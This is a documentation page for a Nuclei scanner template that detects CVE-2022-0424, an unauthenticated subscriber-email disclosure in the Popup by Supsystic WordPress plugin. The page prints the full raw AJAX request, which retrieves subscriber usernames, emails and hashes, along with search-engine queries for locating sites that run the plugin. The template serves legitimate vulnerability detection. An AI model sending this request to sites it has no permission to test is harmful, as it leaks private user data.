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Popup by Supsystic < 1.10.9 - Subscriber Email Addresses Disclosure

ID: CVE-2022-0424

Severity: medium

Author: s4e-io

Tags: wpscan,cve,cve2022,wp,wp-plugin,wordpress,disclosure,popup,supsystic

Description

Section titled “Description”

The Popup by Supsystic WordPress plugin before 1.10.9 does not have any authentication and authorisation in an AJAX action, allowing unauthenticated attackers to call it and get the email addresses of subscribed users

YAML Source

Section titled “YAML Source”
id: CVE-2022-0424


info:
  name: Popup by Supsystic < 1.10.9 - Subscriber Email Addresses Disclosure
  author: s4e-io
  severity: medium
  description: |
    The Popup by Supsystic WordPress plugin before 1.10.9 does not have any authentication and authorisation in an AJAX action, allowing unauthenticated attackers to call it and get the email addresses of subscribed users
  remediation: Fixed in 1.10.9
  reference:
    - https://wpscan.com/vulnerability/1e4593fd-51e5-43ca-a244-9aaef3804b9f/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0424
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-0424
    cwe-id: CWE-306
    epss-score: 0.01488
    epss-percentile: 0.86805
    cpe: cpe:2.3:a:supsystic:popup:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: supsystic
    product: popup
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/popup-by-supsystic
    fofa-query: body=/wp-content/plugins/popup-by-supsystic
    publicwww-query: "/wp-content/plugins/popup-by-supsystic"
  tags: wpscan,cve,cve2022,wp,wp-plugin,wordpress,disclosure,popup,supsystic


http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8


        page=subscribe&action=getListForTbl&reqType=ajax&search=@&_search=false&pl=pps&sidx=id&rows=10


    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"id":"'
          - 'username":"'
          - 'email":'
          - 'hash":"'
          - "_wpnonce"
        condition: and


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b66f30be17ceb92b0b50564b3a27cece1bb694e92dfea93bf64188c1174d79f702207ebaf479e39ca30ab132d5ec533b488c1c59662f1b04e035a5ba256e7765a0d6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0424.yaml"

View on Github